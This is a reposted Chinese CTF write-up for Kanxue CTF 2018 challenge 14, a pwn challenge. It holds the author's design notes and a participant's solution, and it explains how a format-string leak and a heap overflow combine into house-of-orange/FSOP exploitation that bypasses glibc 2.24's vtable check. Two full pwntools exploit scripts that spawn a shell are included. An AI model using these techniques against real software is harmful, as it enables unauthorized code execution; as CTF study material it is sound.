看雪CTF.TSRC 2018 團隊賽 第十四題『 你眼中的世界』 解題思路
第十四題《你眼中的世界》在今天(12月29日)中午12:00 結束攻擊!共計十支團隊攻破此題!其中,111new111 以 4454s 的成績成為本題第一名!
本題結束後,防守團隊排行榜如下:
最新賽況戰況一覽
第十四題之後,攻擊方最新排名情況如下:
中午放題搬磚狗哭哭繼續位列排行榜首席之位, tekkens保持第二名的成績, n0body 和 fade-vivi強勢進入Top 10!
倒數第二題結束後,已經重新整理了Top 10 的候選人,那麼最後一題決勝局是否會有其他驚喜呢?拭目以待!
第十四題 點評
crownless:
“你眼中的世界”是一道pwn題,而不是本次看雪CTF中多見的逆向題,體現了命題的多樣性。程式功能很簡單,會造成堆溢位,利用起來卻比較複雜。
第十四題 出題團隊簡介
出題團隊:ivanChen之隊
第十四題 設計思路
由看雪論壇ivanChen 原創
# echo from your heart # # **[Principle]** format string,house of orange # # **[Purpose]** Master the general process of PWN topics # # **[Environment]** Ubuntu16.04 # # **[Tools]** gdb、objdump、python、pwntools # # **[Process]**
程式漏洞:
1. 格式化字串漏洞
64位格式化字串,開了FORTIFY_SOURCE機制,有幾個特性:
1)包含%n的格式化字串不能位於程式記憶體中的可寫地址。
2)當使用位置引數時,必須使用範圍內的所有引數。所以如果要使用%7$x,你必須同時使用1,2,3,4,5和6。
2. 堆溢位(house of orange)
gets這裡可以無限寫入直到\n為止,所以通過這個漏洞可以修改top_chunk,可以使用house of orange。
利用思路:
Libc-2.24中加入新的檢驗機制
Dl_info di; struct link_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } ***
所以不能通過之前的house of orange 思路getshell。
bypass the _IO_vtable_check:
利用是在_IO_list_all中的chain欄位,偽造一個file結構體,然後修改chain為這個結構體的地址。之後在呼叫IO_flush_all_lockp函式的時候,這個結構體就會被呼叫。但是因為check了vtables,所以不能夠任意提供一個偽造的vtable的地址,但是可以使用io_str_jumps 這個vtable。
完整繞過思路如下:
首先通過unsortedbin attack 改寫_IO_list_all,使指標指向main_arena。在拆卸unsort_bin時候對屬於small_bin的chunk進行了記錄操作,覆蓋smallbin偏移為0x60的位置,並且此位置正好為_IO_FILE 中_chain欄位 在構造Fake_file結構時,將_IO_str_jumps-0x8位置填入vtable。這樣可以當呼叫overflow時,呼叫_IO_str_finish。可以通過_IO_str_finish最終執行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)。
The full script is as follows.
exp.py # -*- coding: utf-8 -*- #!/usr/bin/env python2 from pwn import * context.log_level = 'debug' context.arch = 'amd64' LOCAL = True if LOCAL: p = process(['./echo_from_your_heart'],env={"LD_PRELOAD":"./libc-2.24.so"}) libc = ELF("./libc-2.24.so") else: p = remote('192.168.1.107',1337) libc = ELF("./libc-2.24.so") def printf(size,string): p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(string) def main(): #leak_libc payload = 7*"%p"+'aaa'+"%p " printf(len(payload),payload) p.recvuntil("aaa") leak = p.recvuntil(" ")[:-1] leak_addr = int(leak,16) libc_base = leak_addr - (libc.symbols['__libc_start_main'] + 241) #2.23 240 2.24 241 io_list_all = libc_base + libc.symbols['_IO_list_all'] sys_addr = libc_base + libc.symbols['system'] bin_addr = libc_base + next(libc.search('/bin/sh\x00')) log.info("libc_base: {}".format(hex(libc_base))) log.info("io_list_all: {}".format(hex(io_list_all))) log.info("sys_addr: {}".format(hex(sys_addr))) log.info("bin_addr: {}".format(hex(bin_addr))) #overwrite topchunk printf(0x80,'a'*0x80+p64(0)+p64(0xf51)) #trigger topchunk -> unsortedbin printf(0x1000,'b'*0x80) #vtable_addr = libc_base + 0x3be4c0 #_IO_str_jumps 2.24 vtable_addr = libc_base+libc.symbols['_IO_str_jumps'] chunk = p64(0) + p64(0x61) + p64(0) + p64(io_list_all-0x10) chunk += p64(2) + p64(3) + p64(0) + p64(bin_addr) chunk = chunk.ljust(0xd0,'\x00') chunk += p64(0) chunk += p64(vtable_addr-8) chunk = chunk.ljust(0xe8,'\x00') payload = chunk + p64(sys_addr) printf(0x80,'c'*0x80+payload) p.sendline("1") p.interactive() if __name__ == '__main__': main()
原文連結:
https://bbs.pediy.com/thread-227074.htm
第十四題 你眼中的世界 解題思路
本題解析由看雪論壇 會飛的魚油 原創。
程式功能分析
程式功能很簡單,迴圈5次,通過sub_AF0函式獲取輸入的長度,然後分配相應大小的堆儲存輸入的word,最後輸出。
使用shecksec檢視有以下保護:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
漏洞分析
獲取word的輸入沒有長度檢查,可以造成堆溢位。word的輸出會造成格式化字串漏洞。
漏洞利用原理
1、通過格式化字串漏洞洩漏出儲存在棧中返回到__libc_start_main中的地址,從而可以計算出libc的基址。
2、利用堆溢位修改 top chunk 的大小,當不滿足 malloc 的分配需求時,會通過sysmalloc 來向系統申請更多的空間 。對於堆來說有 mmap 和 brk 兩種分配方式,我們需要讓堆以 brk 的形式擴充,申請的大小不能超過預設的閾值也就是128k ,原有的top chunk就會被置於unsorted bin中 。top chunk的大小也會有合法性檢測,檢查如下:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
所以偽造的大小必須要對齊到記憶體頁, 大於 MINSIZE(0x10), 小於之後申請的堆塊 且size 的 prev inuse 位必須為 1。
3、 利用FSOP (File Stream Oriented Programming)原理以及house of orange原理控制程式流程。 FILE 在 Linux 系統的標準 IO 庫中是用於描述檔案的結構,稱為檔案流。 FILE 結構在程式執行 fopen 等函式時會進行建立,並分配在堆中。FILE結構的定義如下:
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base;/* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr;/* Current put pointer. */ char* _IO_write_end;/* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end;/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base;/* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
程式中的 FILE 結構會通過_chain 域彼此連線形成一個連結串列,連結串列頭部用libc中的全域性變數_IO_list_all 表示,通過這個值我們可以遍歷所有的 FILE 結構。需要注意的是 stdin、stdout、stderr 這三個檔案流位於 libc的資料段中。但是事實上_IO_FILE 結構位於另一種結構_IO_FILE_plus中, _IO_FILE_plus的定義如下:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
其中包含了一個重要的指標 vtable,它指向了一系列函式指標, 標準 IO 函式中會呼叫這些函式指標 。
gdb-peda$ p _IO_file_jumps $1 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7a8ed20 <_IO_new_file_finish>, __overflow = 0x7ffff7a8f700 <_IO_new_file_overflow>, __underflow = 0x7ffff7a8f4b0 <_IO_new_file_underflow>, __uflow = 0x7ffff7a90560 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a91700 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7a8e5a0 <_IO_new_file_xsputn>, __xsgetn = 0x7ffff7a8e2b0 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7a8d8e0 <_IO_new_file_seekoff>, __seekpos = 0x7ffff7a90ad0 <_IO_default_seekpos>, __setbuf = 0x7ffff7a8d850 <_IO_new_file_setbuf>, __sync = 0x7ffff7a8d780 <_IO_new_file_sync>, __doallocate = 0x7ffff7a829b0 <__GI__IO_file_doallocate>, __read = 0x7ffff7a8e580 <__GI__IO_file_read>, __write = 0x7ffff7a8df70 <_IO_new_file_write>, __seek = 0x7ffff7a8dd70 <__GI__IO_file_seek>, __close = 0x7ffff7a8d840 <__GI__IO_file_close>, __stat = 0x7ffff7a8df60 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7a91860 <_IO_default_showmanyc>, __imbue = 0x7ffff7a91870 <_IO_default_imbue> }
因此直接改寫 vtable 中的函式指標或者是覆蓋 vtable 的指標指向我們控制的記憶體,然後在其中佈置函式指標就可以劫持程式流程 。該程式可以覆蓋unsorted bin空閒塊,修改bk指向_IO_list_all-0x10,同時佈置fake file struct,然後分配堆塊,觸發unsorted bin attack 修改_IO_list_all指向main_arena+88,因為_chain域在_IO_list_all + 0x68的位置 ,也就是 main_arena + 88 + 0x68-->small bin中大小為0x60的位置,所以需要修改其大小為0x60 ,之後修改過的unsorted bin 會被放入 small bin [4]中,這樣就可以偽造一個FILE結構,繼續遍歷unsorted bin會觸發異常,呼叫malloc_printerr。呼叫棧如下:
malloc_printerr
_libc_message(error msg)
abort
_IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)
_IO_flush_all_lockp函式會重新整理_IO_list_all 連結串列中所有項的檔案流,相當於對每個 FILE 呼叫 fflush,也對應著會呼叫_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函式便就可以拿到shell。 libc2.24版本的_IO_flush_all_lockp定義如下:
int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//合法性檢查 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; }
所以偽造的結構體要滿足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。在 libc2.23 版本中可以直接修改偽造的vtable, 使得_IO_OVERFLOW=system_addr 。kkhaike大佬說該程式無法洩漏出堆頂地址 ,所以採用繞過libc2.24檢查機制的方法來獲取shell。libc2.24版本多了一個vtable合理性的檢查機制,檢查如下:
IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
可以使用__IO_str_jumps和__IO_wstr_jumps進行繞過, 使用__IO_str_jumps 更為簡單,如何定位 __IO_str_jumps 參考這篇文章。 __IO_str_jumps 定義如下:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; 可以利用其中的 _IO_str_finsh和_IO_str_overflow這兩個函式的strops.c定義如下: void _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); } int _IO_str_overflow (_IO_FILE *fp, int c) { ... pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//呼叫 ((char*)fp + 0xE0))(2 * v6 + 100),v6=fp->_IO_buf_end - fp->_IO_buf_base ... } } ... }
因為呼叫(char*)fp+0xE8和(char*)fp + 0xE0,所以可以把這部分設定成system的地址。
EXP
exp是參考的這篇文章
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md
from pwn import * #context.log_level = 'debug' io = remote("211.159.175.39", 8686) libc = ELF('libc.2.23.so') def prf(size, s): io.sendlineafter(" word: ", str(size)) io.sendlineafter("word: ", s) def overwrite_top(): payload = "A" * 16 payload += p64(0) + p64(0xfe1)# top chunk header prf(0x10, payload) def leak_libc(): global libc_base prf(0x1000, '%p%p%p%p%p%p%p%pA') libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241 libc_base = libc_start_main - libc.symbols['__libc_start_main'] log.info("libc_base address: 0x%x" % libc_base) def house_of_orange(): io_list_all = libc_base + libc.symbols['_IO_list_all'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next() vtable_addr = libc_base + 0x3C37A0 #0x3be4c0 # _IO_str_jumps log.info("_IO_list_all address: 0x%x" % io_list_all) log.info("system address: 0x%x" % system_addr) log.info("/bin/sh address: 0x%x" % bin_sh_addr) log.info("vtable address: 0x%x" % vtable_addr) stream = p64(0) + p64(0x61)# fake header # fp stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer stream += p64(0)# fp->_IO_write_base stream += p64(1) # fp->_IO_write_ptr #stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0)# *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64(bin_sh_addr) stream += p64(0)#(bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream = stream.ljust(0xc0, '\x00') stream += p64(0)# fp->_mode payload = "A" * 0x10 payload += stream payload += p64(0) * 2 payload += p64(vtable_addr - 8) # _IO_FILE_plus->vtable payload += p64(0) payload += p64(system_addr) prf(0x10, payload) def house_of_orange_(): io_list_all = libc_base + libc.symbols['_IO_list_all'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next() vtable_addr = libc_base + 0x3C37A0 # _IO_str_jumps log.info("_IO_list_all address: 0x%x" % io_list_all) log.info("system address: 0x%x" % system_addr) log.info("/bin/sh address: 0x%x" % bin_sh_addr) log.info("vtable address: 0x%x" % vtable_addr) stream = p64(0) + p64(0x61)# fake header # fp stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer stream += p64(0)# fp->_IO_write_base stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64((bin_sh_addr - 100) / 2)# fp->_IO_buf_end stream = stream.ljust(0xc0, '\x00') stream += p64(0)# fp->_mode payload = "A" * 0x10 payload += stream payload += p64(0) * 2 payload += p64(vtable_addr) # _IO_FILE_plus->vtable payload += p64(system_addr) prf(0x10, payload) def pwn(): io.sendlineafter(" word: ", "0") #io.sendline("0") # abort routine io.interactive() if __name__ == '__main__': overwrite_top() leak_libc() house_of_orange() pwn()
house_of_orange函式利用的是_IO_str_finsh, house_of_orange _函式利用的是_IO_str_overflow 。但是使用_IO_str_overflow並不成功,不知道是不是因為bin_sh_addr的地址是奇數的原因 。最後使用house_of_orange獲得shell。
轉載請註明:轉自看雪雪學院
看雪CTF.TSRC 2018 團隊賽 解題思路彙總:
相關文章
- 看雪CTF.TSRC 2018 團隊賽 第九題『諜戰』 解題思路2018-12-19
- 看雪CTF.TSRC 2018 團隊賽 第七題 『魔法森林』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第一題 『初世紀』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第二題 『半加器』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第五題 『交響曲』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第六題 『追凶者也』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第八題 『二向箔』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第十題『俠義雙雄』 解題思路2018-12-21
- 看雪CTF.TSRC 2018 團隊賽 第三題 『七十二疑冢』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第四題 『盜夢空間』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第十一題『伊甸園』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第十五題『 密碼風雲』 解題思路2019-01-02密碼
- 看雪CTF.TSRC 2018 團隊賽 第十二題『移動迷宮』 解題思路2018-12-25
- 看雪CTF.TSRC 2018 團隊賽 第十三題『 機器人歷險記』 解題思路2018-12-27機器人
- 看雪CTF.TSRC 2018 團隊賽 獲獎名單公示2019-01-02
- 看雪·眾安 2021 KCTF 秋季賽 | 第十題設計思路及解析2021-12-16
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪·眾安 2021 KCTF 秋季賽 | 第七題設計思路及解析2021-12-03
- 看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析2021-12-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析2021-11-29
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析2021-11-22
- 看雪·深信服 2021 KCTF 春季賽 | 第十題設計思路及解析2021-05-31
- 看雪·深信服 2021 KCTF 春季賽 | 第七題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第八題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第九題設計思路及解析2021-05-28
- 看雪·深信服 2021 KCTF 春季賽 | 第六題設計思路及解析2021-05-21
- 看雪·深信服 2021 KCTF 春季賽 | 第三題設計思路及解析2021-05-14
- 看雪·深信服 2021 KCTF 春季賽 | 第四題設計思路及解析2021-05-17
- 看雪·深信服 2021 KCTF 春季賽 | 第五題設計思路及解析2021-05-17
- 看雪·深信服 2021 KCTF 春季賽 | 第二題設計思路及解析2021-05-12
- 看雪·眾安 2021 KCTF 秋季賽 | 第十一題設計思路及解析2021-12-15
- 看雪.紐盾 KCTF 2019 Q3 | 第四題點評及解題思路2019-09-29
- 看雪.紐盾 KCTF 2019 Q3 | 第七題點評及解題思路2019-09-30
- 看雪.紐盾 KCTF 2019 Q3 | 第一題點評及解題思路2019-09-25
- 看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第八題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第九題點評及解題思路2019-10-08